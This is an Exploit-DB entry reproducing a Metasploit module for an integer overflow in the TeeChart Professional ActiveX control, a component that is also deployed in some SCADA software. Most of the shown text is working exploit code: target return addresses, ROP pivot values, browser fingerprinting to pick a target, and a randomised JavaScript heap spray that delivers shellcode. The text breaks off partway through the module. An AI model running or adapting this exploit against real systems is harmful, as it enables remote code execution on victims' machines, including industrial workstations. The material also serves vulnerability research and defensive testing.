Exploit-DB #17656
Description: TeeChart Professional ActiveX Control 2010.0.0.3 - Trusted Integer Dereference (Metasploit)
Type: remote
Platform: windows
Date: 2011-08-11
Author: Metasploit

Exploit:
##
# $Id: teechart_pro.rb 13522 2011-08-11 11:17:30Z swtornio $
##

###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super( update_info(info,
			'Name'           => 'TeeChart Professional ActiveX Control <= 2010.0.0.3 Trusted Integer Dereference',
			'Description'    => %q{
					This module exploits a integer overflow in TeeChart Pro ActiveX control. When
				sending an overly large/negative integer value to the AddSeries() property of
				TeeChart2010.ocx, the code will perform an arithemetic operation that wraps the
				value and is later directly trusted and called upon.

				This module has been designed to bypass DEP only under IE8. Multiple versions
				(including the latest version) are affected by this vulnerability that date back to
				as far as 2001.

				The following controls are vulnerable:

				TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);
				TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);
				TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);
				TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);
				TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).

				The controls are deployed under several SCADA based systems including:

				Unitronics OPC server v1.3;
				BACnet Operator Workstation Version 1.0.76
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					# twitter.com/net__ninja
					'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery/msf module
				 ],
			'Version'        => '$Revision: 13522 $',
			'References'     =>
				[
					#[ 'CVE', '?' ],
					[ 'OSVDB', '74446'],
					[ 'URL', 'http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					# For exploitation we need to calculate a value for EDX:
					# <target address> - EAX / 4 = address to place in edx via signed integar
					# 0x0c0c0c0c - 0x023FB8F4 = 0x09CC5318 / 4 = 0x027314C6 = decimal: 41096390
					[
						'Windows XP SP0-SP3 (IE6/IE7)',
						{ 
							'Ret' => 0x027314C6
						}
					],
					# Windows XP target + IE8 + JAVA = ASLR/DEP Bypass
					# 0x09442020- 0x0326B8F4 = 61D672C/4 = 18759CB
					[
						'Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)',
						{
							'Ret' => 0x014E59CB,
							# 0x09442020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x09441FF8
							# get back to the 2nd of rop.
							'Pivot' => 0x09441FF8
						}
					],
					# Windows 7 target + IE8 + JAVA = ASLR/DEP Bypass
					# 0x16672020 - 0x040AB8F4/4 =  0x049719CB 
					[
						'Windows 7 + JAVA + DEP bypass (IE8)',
						{ 
							'Ret' => 0x049719CB,
							# 0x16672020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x16671FF8
							# get back to the 2nd of rop.
							'Pivot' => 0x16671FF8
						}
					]
				],
			'DisclosureDate' => 'Aug 11 2011',
			'DefaultTarget'  => 0))
	end

	def junk
		return rand_text_alpha(4).unpack("L")[0].to_i
	end

	def on_request_uri(cli, request)
		#Set target manually or automatically
		my_target = target
		if my_target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
				my_target = targets[2]
			elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
				my_target = targets[3]
			end
		end

		print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']

		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# align stack
		retn = Rex::Text.to_unescape([0x7C3410C4].pack('V*'))
		pop_pop_retn = Rex::Text.to_unescape([0x7C3410C2].pack('V*'))

		# shellcode
		sc = Rex::Text.to_unescape(p.encoded)

		# Randomize ALL the javascript variable names.
		rand1    = rand_text_alpha(rand(100) + 1)
		rand2    = rand_text_alpha(rand(100) + 1)
		rand3    = rand_text_alpha(rand(100) + 1)
		rand4    = rand_text_alpha(rand(100) + 1)
		rand5    = rand_text_alpha(rand(100) + 1)
		rand6    = rand_text_alpha(rand(100) + 1)
		rand7    = rand_text_alpha(rand(100) + 1)
		rand8    = rand_text_alpha(rand(100) + 1)
		rand9    = rand_text_alpha(rand(100) + 1)
		rand10   = rand_text_alpha(rand(100) + 1)
		j_applet = rand_text_alpha(rand(100) + 1)

		if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
			js = <<-EOF
			var #{rand3} = unescape('#{sc}');

			var #{rand4} = unescape('%u0c0c%u0c0c');
			var #{rand5} = 20;
			var #{rand6} = #{rand5} + #{rand3}.length;
			while(#{rand4}.length < #{rand6}) {
				#{rand4} += #{rand4};
			}
			var #{rand7} = #{rand4}.substring(0, #{rand6});
			var #{rand8} = #{rand4}.substring(0, #{rand4}.length - #{rand6});
			while((#{rand8}.length + #{rand6}) < 0x50000) {
    			#{rand8} = #{rand8} + #{rand8} + #{rand7};
			}
			#{rand10}=new Array();
			for(#{rand9}=0; #{rand9}<200; #{rand9}++){
				#{rand10}[#{rand9}] = #{rand8} + #{rand3};
			}

			function #{rand2}()
			{
				#{rand1}.AddSeries(#{target.ret});
			} 
			EOF
		end

		#http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-Inte